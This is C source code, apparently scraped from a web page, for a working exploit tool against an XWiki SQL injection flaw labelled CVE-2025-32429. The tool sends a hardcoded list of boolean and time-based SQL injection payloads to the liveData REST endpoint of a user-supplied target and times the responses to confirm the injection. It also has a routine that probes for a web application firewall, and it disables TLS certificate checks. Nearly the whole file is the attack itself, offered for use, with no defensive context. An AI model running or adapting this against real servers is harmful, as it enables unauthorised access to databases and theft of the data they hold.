\n
#define URL 2500
\n
const char *yourUrl = NULL;
\n
int verbose = 0;
\n
int selecetCookie = 0;
\n
const char *cookies = NULL;<\/p>\nvoid exitAssembly()
\n
{
\n
__asm__ volatile
\n
(
\n
“xor %%rdi, %%rdi\\n\\t”
\n
“mov $231, %%rax\\n\\t”
\n
“syscall\\n\\t”
\n
:
\n
:
\n
: “rax”,
\n
“rdi”
\n
);
\n
}
\n
struct Mem
\n
{
\n
char *buffer;
\n
size_t len;
\n
};
\n
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
\n
{
\n
size_t total = size * nmemb;
\n
struct Mem *m = (struct Mem *)userdata;
\n
char *tmp = realloc(m->buffer, m->len + total + 1);
\n
if (tmp == NULL)
\n
{
\n
printf(“\\e[1;31m[-] Failed to allocate memory!\\e[0m\\n”);
\n
exitAssembly();
\n
}
\n
m->buffer = tmp;
\n
memcpy(&(m->buffer[m->len]), ptr, total);
\n
m->len += total;
\n
m->buffer[m->len] = ‘\\0’;
\n
return total;
\n
}
\n
const char *payload[] =
\n
{
\n
“‘ OR ‘1”,
\n
” ‘ OR 1 — -“,
\n
” OR “” = “,
\n
“\\” OR 1 = 1 — -“,
\n
“,(select * from (select(sleep(5)))a)”,
\n
“%2c(select%20*%20from%20(select(sleep(5)))a)”,
\n
“‘;WAITFOR DELAY ‘0:0:05’–“,
\n
“AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND ‘%’='”,
\n
“AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)”,
\n
“AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)–“,
\n
“AS INJECTX WHERE 1=1 AND 1=0–“,
\n
“WHERE 1=1 AND 1=1”
\n
};
\n
const char *word[] =
\n
{
\n
“select”,
\n
“union”,
\n
“insert”,
\n
“update”,
\n
“delete”,
\n
“drop”,
\n
“create”,
\n
“alter”,
\n
“truncate”,
\n
“replace”,
\n
“or”,
\n
“and”,
\n
“not”,
\n
“1=1”,
\n
“1=0”,
\n
“–“,
\n
“#”,
\n
“\/*”,
\n
“*\/”,
\n
“sleep”,
\n
“benchmark”,
\n
“load_file”,
\n
“outfile”,
\n
“error”,
\n
“warning”,
\n
“mysql”,
\n
“pg_”,
\n
“exec”,
\n
“xp_”,
\n
“admin”,
\n
“root”,
\n
“”
\n
};<\/p>\n
int numberPayload = sizeof(payload) \/ sizeof(payload[0]);
\n
int numberWord = sizeof(word) \/ sizeof(word[0]);
\n
char full[URL];<\/p>\n
void injection(const char *baseUrl)
\n
{
\n
CURLcode res ;
\n
CURL *curl = curl_easy_init();
\n
struct Mem response =
\n
{
\n
NULL,
\n
0<\/p>\n
};
\n
if (curl == NULL)
\n
{
\n
printf(“\\e[1;31m[-] Error Create Object Curl !\\e[0m\\n”);
\n
printf(“\\e[1;31m[-] Check Your Connection (Ping)…\\e[0m\\n”);
\n
printf(“\\e[1;31m[-] Command : ping google.com\\n”);
\n
const char *pingCommand = “\/bin\/ping”;
\n
const char *argv[] = {“ping”, “-c”, “5”, “google.com”, NULL};
\n
const char *envp[] = {NULL};
\n
__asm__ volatile
\n
(
\n
“mov %[argv], %%rsi\\n\\t”
\n
“mov $59, %%rax\\n\\t”
\n
“mov %[envp], %%rdx\\n\\t”
\n
“mov %[command], %%rdi\\n\\t”
\n
“syscall\\n\\t”
\n
“cmp $0, %%rax\\n\\t”
\n
“jl exitSyscall\\n\\t”
\n
“exitSyscall:\\n\\t”
\n
“mov $0x3C, %%rax\\n\\t”
\n
“xor %%rdi, %%rdi\\n\\t”
\n
“syscall\\n\\t”
\n
“.2:\\n\\t”
\n
:
\n
: [argv] “r” (argv),
\n
[envp] “r” (envp),
\n
[command] “r” (pingCommand)
\n
: “rax”,
\n
“rdi”,
\n
“rsi”,
\n
“rdx”
\n
);
\n
}<\/p>\n
response.buffer = NULL;
\n
response.len = 0;
\n
if (verbose)
\n
{
\n
printf(“\\e[1;35m==========================================\\e[0m\\n”);
\n
printf(“\\e[1;33m[+] Cleaning Response…\\e[0m\\n”);
\n
printf(“\\e[1;33m[+] Response Buffer : %s\\e[0m\\n”,response.buffer);
\n
printf(“\\e[1;33m[+] Response Len : %d\\e[0m\\n”,response.len);
\n
printf(“\\e[1;35m==========================================\\e[0m\\n”);
\n
}<\/p>\n
if (curl)
\n
{
\n
int n = 0;
\n
for (int p = 0; p < numberPayload; p++)\n
{
\n
char *encodePayload = curl_easy_escape(curl,
\n
payload[p],
\n
0);
\n
if (!encodePayload)
\n
{
\n
printf(“\\e[1;31m[-] Error Encode Payload !\\e[0m\\n”);
\n
exitAssembly();
\n
}
\n
snprintf(full,
\n
sizeof(full),
\n
“%s\/xwiki\/rest\/liveData\/sources\/liveTable\/entries?sourceParams.template=getdeleteddocuments.vm&sort=%s”,
\n
baseUrl,
\n
encodePayload);<\/p>\n
printf(“\\e[1;34m[+] Encode Payload Successfully.\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Payload Encode : %s\\e[0m\\n”, encodePayload);<\/p>\n
curl_easy_setopt(curl,
\n
CURLOPT_URL,
\n
full);
\n
struct timespec ts;
\n
ts.tv_sec = 0;
\n
ts.tv_nsec = 10000000;
\n
printf(“\\e[1;34m[+] sys_nanosleep syscall (10000000)…\\e[0m\\n”);
\n
__asm__ volatile
\n
(
\n
“mov $35, %%rax\\n\\t”
\n
“mov %[ts], %%rdi\\n\\t”
\n
“xor %%rsi, %%rsi\\n\\t”
\n
“syscall\\n\\t”
\n
:
\n
: [ts] “r” (&ts)
\n
:”rax”, “rdi”, “rsi”<\/p>\n
);
\n
if (selecetCookie)
\n
{
\n
curl_easy_setopt(curl,
\n
CURLOPT_COOKIEFILE,
\n
cookies);
\n
curl_easy_setopt(curl,
\n
CURLOPT_COOKIEJAR,
\n
cookies);<\/p>\n
}
\n
curl_easy_setopt(curl,
\n
CURLOPT_FOLLOWLOCATION,
\n
1L);
\n
curl_easy_setopt(curl,
\n
CURLOPT_WRITEFUNCTION,
\n
write_cb);
\n
if (verbose)
\n
{
\n
printf(“\\e[1;35m——————————————[Verbose Curl]——————————————\\e[0m\\n”);
\n
curl_easy_setopt(curl,
\n
CURLOPT_VERBOSE,
\n
1L);
\n
}
\n
curl_easy_setopt(curl,
\n
CURLOPT_WRITEDATA,
\n
&response);
\n
curl_easy_setopt(curl,
\n
CURLOPT_CONNECTTIMEOUT,
\n
5L);
\n
curl_easy_setopt(curl,
\n
CURLOPT_TIMEOUT,
\n
10L);
\n
curl_easy_setopt(curl,
\n
CURLOPT_SSL_VERIFYPEER,
\n
0L);
\n
curl_easy_setopt(curl,
\n
CURLOPT_SSL_VERIFYHOST,
\n
0L);
\n
struct curl_slist *headers = NULL;
\n
headers = curl_slist_append(headers,
\n
“Accept-Language: en-US,en”);
\n
headers = curl_slist_append(headers,
\n
“Connection: keep-alive”);
\n
headers = curl_slist_append(headers,
\n
“Referer: http:\/\/example.com”);
\n
double delayTime;
\n
clock_t start = clock();
\n
res = curl_easy_perform(curl);
\n
printf(“\\e[1;34m+] Payload : %s\\e[0m\\n”, payload[p]);
\n
printf(“\\e[1;34m[+] Encode Payload %s\\e[0m\\n”, encodePayload);
\n
printf(“\\e[1;32m[*] PID : %d\\e[0m\\n”, getpid());
\n
curl_free(encodePayload);
\n
curl_slist_free_all(headers);
\n
usleep(1000000);
\n
if (res == CURLE_OK)
\n
{<\/p>\n
printf(“—————————————————————–\\n”);
\n
long httpCode = 0;
\n
curl_easy_getinfo(curl,
\n
CURLINFO_RESPONSE_CODE,
\n
&httpCode);
\n
curl_easy_getinfo(curl,
\n
CURLINFO_TOTAL_TIME,
\n
&delayTime);
\n
printf(“\\e[1;36m[+] Request sent successfully\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Delay Time Response : %f\\e[0m\\n”,
\n
delayTime);
\n
printf(“\\e[1;37m[+] Input Url : %s\\e[0m\\n”,
\n
baseUrl);
\n
printf(“\\e[1;37m[+] Full Url : %s\\e[0m\\n”,
\n
full);
\n
printf(“\\e[1;32m[+] Http Code -> %ld\\e[0m\\n”, httpCode);
\n
if (httpCode >= 200 && httpCode < 300)\n
{
\n
clock_t end = clock();
\n
double timeInjection = (double) (end – start )\/ CLOCKS_PER_SEC;
\n
printf(“\\e[1;36m[+] Positive Http Code (200 < 300) : %ld\\n\",httpCode);\n
for (int w = 0; w < numberWord; w++)\n
{
\n
if (strstr(response.buffer, word[w]) != NULL)
\n
{
\n
printf(“\\e[1;34m[+] A suspicious word was found in the server’s response !!\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Word Found : %s\\e[0m\\n”, word[w]);
\n
printf(“[+] The vulnerability CVE-2025-32429 exists on the server\\e[0m\\n”);
\n
printf(“\\e[1;37m\\n======================================== [Response Server] ========================================\\e[0m\\n”);
\n
printf(“%s\\n”, response.buffer);
\n
printf(“\\e[1;32m[Len] : %d\\e[0m\\n”, response.len);
\n
printf(“\\e[1;37m\\n==================================================================================================\\e[0m\\n”);
\n
printf(“[+] Check Timeout Response…\\e[0m\\n”);
\n
if (timeInjection >= 7.5)
\n
{
\n
printf(“\\e[1;34m[+] Possible SQL Executed (Delay Detected)\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] The server is experiencing a vulnerability (CVE-2025-32429)\\e[0m\\n”);
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] No response delay detected !\\e[0m\\n”);
\n
}
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] No suspicious words were found in the server response !\\e[0m\\n”);<\/p>\n
}
\n
}
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\\e[0m\\n\", httpCode);\n
printf(“\\e[1;34m[+] Try Next Payload : %s\\e[0m\\n”, payload[p]);
\n
}<\/p>\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] Error Send Request\\e[0m\\n”);
\n
printf(“\\e[1;31m[-] Error : %s\\e[0m\\n”, curl_easy_strerror(res));
\n
printf(“\\e[1;31m[-] Please Check Your Connection !\\e[0m\\n”);
\n
exitAssembly();
\n
}<\/p>\n
}<\/p>\n
}
\n
if (response.buffer)
\n
{
\n
free(response.buffer);
\n
response.buffer = NULL;
\n
response.len = 0;
\n
}
\n
curl_easy_cleanup(curl);
\n
}
\n
void checkWaf(const char *base)
\n
{
\n
printf(“[+] Check Waf ============================================================\\e[0m\\n”);
\n
struct Mem response = {NULL, 0};
\n
response.buffer = NULL;
\n
response.len = 0;
\n
int step1 = 0;
\n
int step2= 0;
\n
int step3 = 0;
\n
int step4 = 0;
\n
int step5 = 0;
\n
if (verbose)
\n
{
\n
printf(“\\e[1;33m[+] Response Buffer Cleaning Successfully \\e[0m\\n”);
\n
printf(“\\e[1;33m[+] Response Buffer : %s\\e[0m\\n”, response.buffer);
\n
printf(“\\e[1;33m[+] Response Len : %zu\\e[0m\\n”, response.len);
\n
}
\n
const char *keyWaf[] =
\n
{
\n
“Access Denied”,
\n
“Request blocked”,
\n
“Security violation”,
\n
“Your request looks suspicious”
\n
};
\n
int numberWaf = sizeof(keyWaf) \/ sizeof(keyWaf[0]);
\n
printf(“\\e[1;34m[+] Base URL : %s\\e[0m\\n”, base);
\n
CURLcode res;
\n
char fullWaf[URL];
\n
snprintf(fullWaf, sizeof(fullWaf),
\n
“%s\/xwiki\/rest\/liveData\/sources\/liveTable\/entries?sourceParams.template=getdeleteddocuments.vm&sort=””,
\n
base);
\n
printf(“\\e[1;34m[+] Full Url : %s\\e[0m\\n”,fullWaf);
\n
CURL *curl = curl_easy_init();
\n
if (curl == NULL)
\n
{
\n
printf(“\\e[1;31m[-] Error: Could not initialize CURL.\\e[0m\\n”);
\n
exitAssembly();
\n
}<\/p>\n
curl_easy_setopt(curl,
\n
CURLOPT_URL, fullWaf);
\n
curl_easy_setopt(curl,
\n
CURLOPT_FOLLOWLOCATION,
\n
1L);<\/p>\n
struct curl_slist *headers = NULL;
\n
headers = curl_slist_append(headers,
\n
“User-Agent: sqlmap”);
\n
curl_easy_setopt(curl,
\n
CURLOPT_HTTPHEADER,
\n
headers);
\n
curl_easy_setopt(curl,
\n
CURLOPT_WRITEDATA,
\n
&response);
\n
curl_easy_setopt(curl,
\n
CURLOPT_WRITEFUNCTION,
\n
write_cb);<\/p>\n
res = curl_easy_perform(curl);<\/p>\n
double timeD = 0;
\n
long code = 0;
\n
long redirects = 0;
\n
if (res == CURLE_OK)
\n
{
\n
curl_easy_getinfo(curl,
\n
CURLINFO_REDIRECT_COUNT,
\n
&redirects);
\n
curl_easy_getinfo(curl,
\n
CURLINFO_TOTAL_TIME,
\n
&timeD);
\n
curl_easy_getinfo(curl,
\n
CURLINFO_RESPONSE_CODE,
\n
&code);
\n
printf(“\\e[1;36m[+] Step 1: Check Number redirects\\e[0m\\n”);
\n
if (redirects > 1)
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Suspicious number of redirects: %ld\\e[0m\\n”, redirects);
\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
step1 = 1;
\n
}
\n
else
\n
{
\n
printf(“[-] Waf not detected (Number redirects)\\e[0m\\n”);
\n
}
\n
printf(“\\e[1;34m[+] Request sent with simple payload (”)\\e[0m\\n”);
\n
printf(“\\e[1;35m[+] Step 2: Check HTTP Code\\e[0m\\n”);
\n
printf(“\\e[1;32m[+] HTTP Code: %ld\\e[0m\\n”, code);
\n
if (code == 403 ||
\n
code == 404 ||
\n
code == 503)
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Blocking response code: %ld\\e[0m\\n”, code);
\n
printf(“\\e[1;34m[+] Page is likely filtered by WAF.\\e[0m\\n”);
\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
step2 = 1;
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] No blocking HTTP code.\\e[0m\\n”);
\n
printf(“\\e[1;31m[-] WAF not detected based on HTTP code.\\e[0m\\n”);
\n
}<\/p>\n
printf(“[+] Step 3: Check Response Time\\e[0m\\n”);
\n
if (timeD >= 3.0)
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Suspicious delay in response: %.2f sec\\e[0m\\n”, timeD);
\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
step3 = 1;
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] Normal response time: %.2f sec\\e[0m\\n”, timeD);
\n
printf(“\\e[1;31m[-] WAF not detected based on delay.\\e[0m\\n”);
\n
}
\n
printf(“[+] Step 4: Check Response Content\\e[0m\\n”);
\n
for (int l = 0; l < numberWaf; l++)\n
{
\n
if (response.buffer)
\n
{
\n
if (strstr(response.buffer, keyWaf[l]))
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Word Found : %s\\e[0m\\n”,keyWaf[l]);
\n
printf(“\\e[1;34m[+] Waf Detected (Word Found In Response)\\e[0m\\n”);
\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
step4 = 1;
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] Word Not Found : %s\\e[0m\\n”, keyWaf[l]);
\n
printf(“\\e[1;31m[-] WAF not detected (Not Found Word in response)\\e[0m\\n”);
\n
}
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] Response Buffer is NULL !\\n”);
\n
printf(“\\e[1;35m[+] Step 5 : Check Response Server (NULL + Http Code 200)\\e[0m\\n”);
\n
if (code == 200)
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;32m[+] Http Code : %ld\\n”, code);
\n
printf(“\\e[1;34m[+] Waf Detected (Response NULL And http Code 200)\\e[0m\\n”);
\n
if (verbose && response.buffer)
\n
{
\n
printf(“\\e[1;35m[+] Response Server : ==========================================\\e[0m\\n”);
\n
printf(“%s\\e[0m\\n”, response.buffer);
\n
}<\/p>\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
step5 = 1;<\/p>\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] Waf Not Detected (Http Code not 200 And buffer NULL)!\\e[0m\\n”);
\n
}<\/p>\n
}<\/p>\n
}<\/p>\n
}
\n
else
\n
{
\n
printf(“[!] curl_easy_perform() failed: %s\\e[0m\\n”, curl_easy_strerror(res));
\n
}<\/p>\n
printf(“\\e[1;35m[+] Step 6: Check Connection Reset\\e[0m\\n”);
\n
if (res == CURLE_RECV_ERROR)
\n
{
\n
printf(“\\e[1;35m============= [ WAF DETECTED ] =============\\e[0m\\n”);
\n
printf(“\\e[1;34m[+] Connection reset detected (CURLE_RECV_ERROR)\\e[0m\\n”);
\n
printf(“\\e[1;35m============================================\\e[0m\\n”);
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[-] No connection reset error.\\e[0m\\n”);
\n
}<\/p>\n
curl_slist_free_all(headers);
\n
curl_easy_cleanup(curl);
\n
printf(“\\e[1;35m\\n[+] Result Status Waf : \\e[0m\\n”);
\n
if (step1 || step2 || step3 || step4 || step5)
\n
{
\n
printf(“\\e[1;36m[=] Final Verdict: WAF Detected \\e[0m\\n”);
\n
}
\n
else
\n
{
\n
printf(“\\e[1;31m[=] Final Verdict: No WAF Detected !\\e[0m\\n”);
\n
}
\n
}<\/p>\n
int main(int argc,
\n
const char **argv)
\n
{
\n
printf
\n
(<\/p>\n
“\u28e6\u2803\u28ff\u28f6\u28f6\u28f6\u28f6\u28fe\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u28f2\u280b\u2881\u2874\u280b\u2801\u2800\u28e0\u2836\u280b\u2801\u2800\u28e0\u28b4\u2806\u2800\u28a0\u2806\u2800\u2880\u28e0\u289e\u2853\u2812\u2800\u2800\u2809\u2813\u2832\u28a4\u28c0\u2800\u2800\u2800\u2800\u2809\u28a7\u2840\u2800\u2800\u2800\u2800\u2800\\n”
\n
” \u2800\u28ff\u28ff\u28ff\u28ff\u28ff\u2807\u2800\u2800\u2800\u28c0\u2864\u281a\u2801\u287c\u28e3\u2874\u280b\u2800\u2800\u2880\u285e\u2801\u2800\u2800\u2880\u28e0\u28ff\u284b\u2800\u28e0\u28ff\u2834\u281a\u28c9\u28c9\u2809\u2809\u2809\u281b\u282d\u28df\u2812\u28a4\u28c0\u2808\u2819\u2826\u2884\u28c0\u2800\u2808\u28a3\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u2800\u28f8\u28ff\u28ff\u28ff\u28ff\u285f\u2800\u28f4\u281a\u2809\u2801\u2800\u2880\u287e\u281f\u2809\u2800\u2800\u28c0\u28f4\u285f\u2800\u2800\u28e0\u28d6\u28cb\u28b9\u28ff\u2881\u28fe\u28cf\u2820\u28a4\u28c0\u2840\u2809\u2819\u2806\u2800\u2800\u2800\u2808\u2833\u28a4\u2848\u2833\u28c4\u2800\u2800\u2809\u2819\u2836\u28cc\u28f3\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u2800\u28ff\u28ff\u28ff\u28ff\u287f\u2800\u2800\u2808\u281b\u28d2\u28d2\u287e\u280b\u2800\u2800\u2880\u28e4\u28fe\u28ab\u281f\u2800\u2800\u28f8\u2827\u28c4\u2818\u2833\u28af\u2849\u2808\u2809\u2813\u28c4\u2800\u2809\u283b\u28cd\u281b\u2832\u28c4\u2800\u2800\u2800\u2800\u2819\u28a6\u2848\u2813\u2884\u2800\u2800\u2800\u2800\u2819\u28b7\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u2878\u28ff\u28ff\u2879\u28bf\u28c3\u28c0\u2834\u280a\u2809\u28e0\u280e\u2800\u2800\u2880\u28f6\u28ff\u283e\u2875\u280b\u2800\u2800\u287c\u28e1\u2834\u28e6\u28c0\u28c0\u2800\u2809\u2832\u28c4\u2800\u2808\u28b3\u2840\u2800\u2800\u2831\u28c4\u2800\u2819\u2886\u2800\u2800\u2800\u2800\u2819\u28a6\u2840\u2831\u28c4\u2800\u2800\u2800\u2800\u2839\u28cc\u28d3\u28f6\u28b6\u2866\u2800\u2800\u2800\\n”
\n
“\u28b3\u28ff\u28ff\u28ff\u28df\u281f\u2803\u2800\u28e0\u281e\u2801\u2800\u2800\u28e4\u281b\u281b\u2892\u28fe\u2881\u28f4\u28e4\u281e\u28b0\u2847\u28b8\u280b\u28bb\u2808\u28dd\u28a6\u2840\u2808\u2813\u2884\u2800\u2831\u2840\u2800\u2800\u2808\u2833\u2840\u2800\u2833\u28c4\u2800\u2800\u2800\u2800\u2819\u28a6\u2808\u2833\u2840\u2800\u2832\u28c4\u2808\u28bf\u2844\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u28fc\u28ff\u28ff\u289f\u28e1\u2874\u28f9\u281f\u2881\u2800\u2880\u28e0\u281e\u2809\u28fd\u282f\u2809\u2889\u28fd\u28bf\u28f6\u28e4\u28b8\u2881\u283f\u2840\u28b8\u2847\u2898\u28a6\u28bb\u2873\u28c4\u2800\u2800\u2800\u2819\u28c6\u2800\u2800\u2800\u2819\u2886\u2800\u2818\u28a6\u2840\u2800\u2800\u2800\u2800\u2801\u2800\u2800\u2800\u2800\u2828\u2835\u28f6\u2844\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u28ff\u287f\u28f5\u28ff\u280b\u283a\u28a5\u28f4\u28ef\u281e\u284b\u2880\u28e4\u281e\u28f1\u28af\u28f4\u280f\u28a1\u284f\u2800\u28bf\u2838\u28b8\u2840\u2847\u2808\u28e7\u2808\u28be\u288f\u28a7\u2848\u2813\u28a6\u2840\u2800\u2819\u28a7\u28c0\u2800\u2800\u2808\u2833\u28c4\u2800\u28b3\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2810\u28ba\u28ef\u28fd\u28e6\u2800\u2800\u2800\u2800\\n”
\n
“\u28ff\u28fe\u28ff\u2845\u2800\u2800\u2800\u2838\u282f\u282f\u2856\u280b\u28f0\u28e3\u28a3\u28ff\u2803\u2880\u280f\u28a0\u2800\u28fe\u2800\u285e\u28e7\u2847\u2800\u28b8\u2844\u2818\u28de\u2887\u28cc\u2886\u2800\u28bb\u2873\u28c4\u2840\u2808\u2813\u2824\u28c4\u2800\u2808\u28a3\u28c0\u283b\u2840\u28a6\u2840\u2800\u2800\u2800\u2800\u2880\u28c0\u28f0\u28c6\u2809\u285d\u28e7\u2800\u2800\u2800\\n”
\n
“\u28ff\u28af\u28ff\u2819\u28a6\u2800\u2800\u2800\u2800\u28fc\u2881\u28fc\u2887\u288f\u287f\u2803\u2800\u287e\u2800\u284c\u2880\u284f\u28b0\u2847\u28ff\u28bf\u2847\u28b8\u283b\u2800\u28b8\u285e\u28ef\u285c\u28a6\u2800\u28b7\u2808\u28bb\u2873\u28a4\u2840\u2808\u2819\u2812\u2800\u2819\u28b3\u28c5\u2800\u2819\u28c4\u2800\u2800\u28b8\u28ff\u28ff\u28ff\u28ff\u28c6\u28b0\u28f8\u2844\u2800\u2800\\n”
\n
“\u284f\u28fc\u28ff\u2812\u2812\u2824\u2824\u28a4\u28f8\u2803\u287c\u285b\u28b8\u28fc\u2847\u28a0\u28e0\u2801\u28b8\u2801\u28fc\u2847\u28b8\u2800\u287f\u28ff\u2847\u2838\u2800\u2800\u2800\u28bb\u2858\u28e7\u2818\u28c7\u2818\u2846\u2800\u2839\u28e6\u2848\u2813\u2826\u28c4\u2840\u2800\u2800\u2809\u2833\u28c4\u2808\u2887\u2800\u2810\u28bf\u28ff\u285b\u281f\u280b\u2800\u2847\u28e7\u2800\u2800\\n”
\n
“\u28a0\u28ff\u28ff\u2800\u2800\u2800\u28e0\u287e\u287f\u28fc\u28e7\u2847\u2847\u28ff\u2800\u2800\u283b\u28c4\u2800\u2800\u2847\u2847\u2846\u2800\u28bb\u28ff\u2887\u28b6\u2840\u28a0\u2844\u2808\u287f\u2878\u2846\u28b8\u2800\u28a7\u2840\u2800\u28bb\u2819\u2886\u2800\u2800\u2809\u28b3\u2866\u28c4\u28c0\u28c8\u2819\u283e\u28c4\u2840\u2800\u2800\u28b0\u2800\u2800\u28a0\u2847\u28ff\u2800\u2800\\n”
\n
“\u28f8\u28ff\u28ff\u28c4\u28e4\u28fe\u281f\u28a0\u2847\u284f\u28ff\u2847\u28e7\u28ff\u2800\u28c0\u2840\u2808\u28e7\u2800\u2847\u2847\u2847\u28b8\u28b8\u28ff\u28b8\u28fc\u28b7\u2840\u2839\u28c4\u2801\u28b3\u2841\u2800\u2847\u2888\u28a3\u2800\u2808\u2847\u2808\u28a7\u2840\u2800\u2800\u28b7\u2840\u28a2\u2808\u28b9\u285b\u2813\u2819\u281b\u2812\u2808\u2847\u2800\u2838\u2847\u28ff\u2800\u2800\\n”
\n
“\u28ff\u28ff\u281f\u28e9\u285e\u2801\u2800\u28b8\u28f7\u2800\u285f\u2847\u28b8\u280b\u283b\u28b7\u28dd\u28a6\u28ff\u28c6\u2800\u2847\u2847\u28b8\u28fe\u28ff\u28bc\u28ff\u28fc\u28f3\u2844\u28b9\u28e7\u2840\u2801\u2800\u2817\u28b8\u28b8\u2800\u2800\u2847\u2800\u2800\u28f7\u2840\u2800\u2800\u28f7\u2848\u2800\u2800\u28a7\u2898\u2840\u2800\u2880\u2800\u28b8\u2840\u2800\u28c7\u28ff\u2800\u2800\\n”
\n
“\u281b\u28e1\u28fe\u284f\u2800\u2800\u2800\u2800\u28ff\u2800\u2803\u28bb\u28fc\u2840\u28e0\u2844\u2819\u283f\u285f\u28b9\u2818\u28ff\u2801\u2800\u2800\u28ff\u2800\u28bb\u2808\u284f\u283b\u2844\u28bf\u28b3\u2840\u2800\u2880\u285f\u2838\u2847\u2800\u28b8\u2800\u2800\u28b8\u28f7\u2840\u2800\u28b3\u2833\u2840\u2800\u2838\u284e\u2847\u2800\u2838\u2847\u2800\u28b7\u2800\u28b9\u2807\u2800\u2800\\n”
\n
“\u28f4\u28ff\u28ff\u2847\u2800\u2800\u2800\u2800\u2838\u28c6\u2800\u2818\u287f\u28ff\u28ff\u28c5\u2840\u2880\u281f\u2838\u2800\u28bb\u2865\u2800\u2800\u28ff\u2844\u28b8\u28c6\u28f1\u28c0\u2819\u28e6\u28af\u28b3\u2800\u28f8\u28a7\u2847\u28ff\u2800\u2838\u2800\u2800\u28f8\u28c7\u28b3\u2800\u2818\u2887\u28b9\u2840\u2800\u28c7\u2803\u2800\u2800\u2847\u2800\u284c\u28b7\u2848\u28c6\u2800\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u2847\u2800\u2800\u2800\u2800\u2800\u2839\u28c4\u28a0\u28ff\u28ff\u281f\u280b\u28f5\u280f\u2800\u2800\u2800\u2838\u2847\u2808\u2819\u285f\u281b\u28ba\u2877\u28f6\u28ef\u28ed\u28c8\u28ff\u285f\u2847\u285f\u287c\u2847\u28ff\u2800\u2847\u2800\u2880\u28ff\u285e\u281a\u2840\u28fc\u2818\u2806\u28c7\u2800\u28b8\u2800\u2800\u2880\u2847\u2800\u2801\u2880\u2877\u28dc\u28c4\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28ba\u284f\u28bf\u28e4\u281e\u2801\u2800\u2800\u2800\u2800\u2800\u28f7\u2800\u2800\u2800\u2800\u2838\u2847\u2800\u28b3\u2808\u2819\u283b\u28bf\u28ff\u2880\u28e7\u2847\u28ff\u28f0\u2803\u2880\u28fe\u28ff\u28f5\u2800\u28e0\u280f\u2847\u2800\u28ff\u2800\u284e\u28a0\u28e0\u28fc\u2847\u2800\u28b8\u28bf\u2847\u2818\u283b\u28c4\\n”
\n
“\u28ff\u28ff\u28ff\u2812\u2812\u2812\u2812\u2812\u2812\u2812\u2800\u28b8\u2847\u2800\u28a7\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2801\u28f4\u2808\u2803\u2800\u2800\u28f8\u280f\u28fc\u2878\u285f\u28f3\u2803\u2880\u285e\u28cf\u288b\u28fc\u285f\u2801\u2800\u2847\u28a0\u280f\u28f8\u28f1\u28fe\u28df\u287f\u2861\u2880\u287f\u287f\u2847\u2800\u2800\u2808 \\n”
\n
“\u28ff\u28ff\u284f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28c7\u2800\u2800\u28b9\u2866\u2824\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u285f\u2800\u2800\u2800\u28f0\u280f\u2800\u2883\u28a7\u2877\u2803\u28e0\u280f\u2800\u2809\u287e\u28b9\u28bb\u2800\u2876\u2823\u280e\u2880\u28fe\u28fb\u283f\u28f8\u281b\u28a1\u285e\u28fc\u2801\u2831\u2800\u2800\\n”
\n
“\u28ff\u287f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b9\u2800\u2800\u2808\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u28fe\u28ff\u2847\u2800\u2800\u2816\u2801\u2800\u2800\u281e\u285e\u2881\u28f4\u2825\u2816\u281b\u28bf\u28b7\u28fe\u287e\u2846\u28ff\u28f6\u28cb\u28fe\u28ff\u28cf\u2800\u28b9\u287e\u280b\u28b0\u2801\u2800\u2800\u2800\u2800\u2800\\n”
\n
